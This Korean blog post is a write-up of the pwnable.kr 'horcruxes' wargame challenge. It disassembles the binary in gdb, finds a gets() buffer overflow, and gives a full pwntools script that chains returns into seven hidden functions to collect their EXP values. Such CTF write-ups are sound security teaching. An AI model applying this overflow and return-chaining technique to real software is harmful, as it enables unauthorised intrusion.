[Pwnable.kr] horcruxes 풀이 (7pt)
Wargame/pwnable.kr

[Pwnable.kr] horcruxes 풀이 (7pt)

 

풀이

토들러 난이도 클리어까지.. 단 1문제!

이번 문제는 소스코드가 제공되지 않는다. 그래서 그냥 gdb로 계속 까보면서 풀었는데..

풀고 다른 분들 Write-Up 보니까 전부 파일을 받아오더라.. 나도 이젠 그렇게 해야겠다.

 

먼저 main 함수쪽 어셈을 봐보자.

0x0809ff62 <+62>:    call   0x809fc90 <alarm@plt>
0x0809ff67 <+67>:    add    $0x10,%esp
0x0809ff6a <+70>:    call   0x80a0324 <hint>
0x0809ff6f <+75>:    call   0x80a0177 <init_ABCDEFG>

처음에 디버깅하다가 엄청 짜증 났던 것이, alarm 함수 때문에 일정 시간이 지나면 프로세스가 종료된다.

hint 함수를 출력하고 init_ABCDEFG 함수를 출력하는데 먼저 hint 함수가 뭔지 봐보자.

0x080a0324 <+0>:     push   eb
0x080a0325 <+1>:     mov    ebp,esp
0x080a0327 <+3>:     sub    esp,0x8
0x080a032a <+6>:     sub    esp,0xc
0x080a032d <+9>:     push   0x80a0598
0x080a0332 <+14>:    call   0x809fca0 <puts@plt>
0x080a0337 <+19>:    add    esp,0x10
0x080a033a <+22>:    sub    esp,0xc
0x080a033d <+25>:    push   0x80a05d4
0x080a0342 <+30>:    call   0x809fca0 <puts@plt>
0x080a0347 <+35>:    add    esp,0x10
0x080a034a <+38>:    nop
0x080a034b <+39>:    leave
0x080a034c <+40>:    ret

hint 함수에서는 2번의 puts를 호출한다.

0x80a0598과 0x80a05d4를 확인하면 이 값이 무엇인지 알 수 있다.

(gdb) x/s 0x80a0598
0x80a0598:      "Voldemort concealed his splitted soul inside 7 horcruxes."
(gdb) x/s 0x80a05d4
0x80a05d4:      "Find all horcruxes, and destroy it!\n"

그냥 프로그램을 실행하면 나오는 설명문(?)이다. 영혼 7개를 호크룩스 안에 숨겼으니까 찾아서 파괴하라고..

init_ABCDEFG 함수는 간단하게 설명하자면 특정 변수를 랜덤 값으로 초기화 시키는 역할을 한다.

딱히 자세하게 볼 필요는 없는 함수다.

 

다시 main쪽 부분을 확인해보자.

0x0809fffc <+216>:   call   0x80a0009 <ropme>
0x080a0001 <+221>:   mov    -0x4(%ebp),%ecx
0x080a0004 <+224>:   leave
0x080a0005 <+225>:   lea    -0x4(%ecx),%esp
0x080a0008 <+228>:   ret

수상해보이는 ropme라는 함수를 발견했다. 어셈을 봐보도록 하자.

0x080a0009 <+0>:     push   ebp
0x080a000a <+1>:     mov    ebp,esp
0x080a000c <+3>:     sub    esp,0x78
0x080a000f <+6>:     sub    esp,0xc
0x080a0012 <+9>:     push   0x80a050c
0x080a0017 <+14>:    call   0x809fc40 <printf@plt>
0x080a001c <+19>:    add    esp,0x10
0x080a001f <+22>:    sub    esp,0x8
0x080a0022 <+25>:    lea    eax,[ebp-0x10]
0x080a0025 <+28>:    push   eax
0x080a0026 <+29>:    push   0x80a0519
0x080a002b <+34>:    call   0x809fd10 <__isoc99_scanf@plt>
0x080a0030 <+39>:    add    esp,0x10
0x080a0033 <+42>:    call   0x809fc70 <getchar@plt>
0x080a0038 <+47>:    mov    edx,DWORD PTR [ebp-0x10] //edx에 위치
0x080a003b <+50>:    mov    eax,ds:0x80a2088
0x080a0040 <+55>:    cmp    edx,eax
0x080a0042 <+57>:    jne    0x80a004e <ropme+69>
0x080a0044 <+59>:    call   0x809fe4b <A>
0x080a0049 <+64>:    jmp    0x80a0170 <ropme+359>
0x080a004e <+69>:    mov    edx,DWORD PTR [ebp-0x10]
0x080a0051 <+72>:    mov    eax,ds:0x80a2070
0x080a0056 <+77>:    cmp    edx,eax
0x080a0058 <+79>:    jne    0x80a0064 <ropme+91>
0x080a005a <+81>:    call   0x809fe6a <B>
0x080a005f <+86>:    jmp    0x80a0170 <ropme+359>
0x080a0064 <+91>:    mov    edx,DWORD PTR [ebp-0x10]
0x080a0067 <+94>:    mov    eax,ds:0x80a2084
0x080a006c <+99>:    cmp    edx,eax
0x080a006e <+101>:   jne    0x80a007a <ropme+113>
0x080a0070 <+103>:   call   0x809fe89 <C>
0x080a0075 <+108>:   jmp    0x80a0170 <ropme+359>
0x080a007a <+113>:   mov    edx,DWORD PTR [ebp-0x10]
0x080a007d <+116>:   mov    eax,ds:0x80a206c
0x080a0082 <+121>:   cmp    edx,eax
0x080a0084 <+123>:   jne    0x80a0090 <ropme+135>
0x080a0086 <+125>:   call   0x809fea8 <D>
0x080a008b <+130>:   jmp    0x80a0170 <ropme+359>
0x080a0090 <+135>:   mov    edx,DWORD PTR [ebp-0x10]
0x080a0093 <+138>:   mov    eax,ds:0x80a2080
0x080a0098 <+143>:   cmp    edx,eax
0x080a009a <+145>:   jne    0x80a00a6 <ropme+157>
0x080a009c <+147>:   call   0x809fec7 <E>
0x080a00a1 <+152>:   jmp    0x80a0170 <ropme+359>
0x080a00a6 <+157>:   mov    edx,DWORD PTR [ebp-0x10]
0x080a00a9 <+160>:   mov    eax,ds:0x80a2074
0x080a00ae <+165>:   cmp    edx,eax
0x080a00b0 <+167>:   jne    0x80a00bc <ropme+179>
0x080a00b2 <+169>:   call   0x809fee6 <F>
0x080a00b7 <+174>:   jmp    0x80a0170 <ropme+359>
0x080a00bc <+179>:   mov    edx,DWORD PTR [ebp-0x10]
0x080a00bf <+182>:   mov    eax,ds:0x80a207c
0x080a00c4 <+187>:   cmp    edx,eax
0x080a00c6 <+189>:   jne    0x80a00d2 <ropme+201>
0x080a00c8 <+191>:   call   0x809ff05 <G>
0x080a00cd <+196>:   jmp    0x80a0170 <ropme+359>
0x080a00d2 <+201>:   sub    esp,0xc
0x080a00d5 <+204>:   push   0x80a051c //How many EXP did you earned? :
0x080a00da <+209>:   call   0x809fc40 <printf@plt>
0x080a00df <+214>:   add    esp,0x10
0x080a00e2 <+217>:   sub    esp,0xc
0x080a00e5 <+220>:   lea    eax,[ebp-0x74]
0x080a00e8 <+223>:   push   eax
0x080a00e9 <+224>:   call   0x809fc50 <gets@plt>

풀이에 필요한 부분만 빼왔다. 이쪽 분기문을 봐보자.

0x080a002b <+34>:    call   0x809fd10 <__isoc99_scanf@plt>
0x080a0030 <+39>:    add    esp,0x10
0x080a0033 <+42>:    call   0x809fc70 <getchar@plt>
0x080a0038 <+47>:    mov    edx,DWORD PTR [ebp-0x10] //edx에 위치
0x080a003b <+50>:    mov    eax,ds:0x80a2088
0x080a0040 <+55>:    cmp    edx,eax
0x080a0042 <+57>:    jne    0x80a004e <ropme+69>
0x080a0044 <+59>:    call   0x809fe4b <A>
0x080a0049 <+64>:    jmp    0x80a0170 <ropme+359>

프로그램을 실행해보면 알겠지만, 입력 부분이 존재하는데 우리가 입력한 값이 edx에 들어가고, eax와 edx를 비교하여 같지 않다면 A 함수를 실행하지 않고 점프해버린다.

eax의 값이 계속 바뀌는 것을 봐서는 init_ABCDEFG 함수에서 받아온 랜덤 값이 아닌가 추측해본다.

 

그런데 생각해보니까 저 A라는 함수는 뭘까? 한번 봐보자.

0x0809fe4b <+0>:     push   ebp
0x0809fe4c <+1>:     mov    ebp,esp
0x0809fe4e <+3>:     sub    esp,0x8
0x0809fe51 <+6>:     mov    eax,ds:0x80a2088
0x0809fe56 <+11>:    sub    esp,0x8
0x0809fe59 <+14>:    push   eax
0x0809fe5a <+15>:    push   0x80a03d0
0x0809fe5f <+20>:    call   0x809fc40 <printf@plt>
0x0809fe64 <+25>:    add    esp,0x10
0x0809fe67 <+28>:    nop
0x0809fe68 <+29>:    leave
0x0809fe69 <+30>:    ret

printf 함수를 불러와 무언가를 출력하는데.. 0x80a03d0을 확인해보자.

0x80a03d0:      "You found \"Tom Riddle's Diary\" (EXP +%d)\n"

!! 이게 문제에서 말한 숨겨둔 호크룩스인 듯하다.

A 함수 말고도, B, C, D, E, F, G 함수가 있는 것을 봐서는 모두 같은 형식으로 경험치(EXP)를 주는 거 같다.

이 7개의 함수에서 얻은 EXP의 합을 프로그램을 실행하면 나오는 How many EXP did you earned? : 에 넣어야 한다.

 

그런데 아까 위에서 말했던 eax, edx 값을 어떻게 똑같이 맞춰야 할까?

굳이 맞출 필요없이, RTL Chain 기법을 이용해 문제를 풀어보자.

그러기 위해서는, 오버플로우가 발생하는 곳을 찾아야 하는데.. How many EXP did you earned? : 부분을 봐보자.

0x080a00e5 <+220>:   lea    eax,[ebp-0x74]
0x080a00e8 <+223>:   push   eax
0x080a00e9 <+224>:   call   0x809fc50 <gets@plt>

오? 0x74칸 만큼의 입력을 받는다. 변수의 사이즈가 작다면 오버플로우가 발생할 듯하다.

더미 값(116 + 4) + RET 부분에 A, B, C, D, E, F, G 함수의 주소를 입력하면 A -> G 순서대로 연속으로 실행될 것이다.

마지막으로 ropme 함수를 호출하는 부분까지 넣어주면? EXP의 값을 입력할 수 있을 것이다.

페이로드는 다음과 같다.

from pwn import *

#p = process('/home/horcruxes/horcruxes')
p = remote('localhost', 9032)
p.recvuntil('Select Menu:')
p.sendline('1')

exp = 0
payload = 'A'*120
payload += '\x4b\xfe\x09\x08'
payload += '\x6a\xfe\x09\x08'
payload += '\x89\xfe\x09\x08'
payload += '\xa8\xfe\x09\x08'
payload += '\xc7\xfe\x09\x08'
payload += '\xe6\xfe\x09\x08'
payload += '\x05\xff\x09\x08'
payload += '\xfc\xff\x09\x08'

p.recvuntil('How many EXP did you earned? : ')
p.sendline(payload)
p.recvline()

for i in range(0,7):
        arr = p.recvuntil('EXP +')
        arr2 = p.recvline()[0: -2]

        exp += int(arr2)
        print 'Exp -> ' + str(exp)

p.recvuntil('Select Menu:')
p.sendline('1')
p.recvuntil('How many EXP did you earned? : ')
p.sendline(str(exp))
print p.recvline()

'Wargame > pwnable.kr' 카테고리의 다른 글

[Pwnable.kr] unlink 풀이 (10pt)  (0) 2020.07.28
[Pwnable.kr] memcpy 풀이 (10pt)  (0) 2020.07.27
[Pwnable.kr] asm 풀이 (6pt)  (0) 2020.07.27
[Pwnable.kr] uaf 풀이 (8pt)  (0) 2020.07.27
[Pwnable.kr] blukat 풀이 (3pt)  (0) 2020.07.23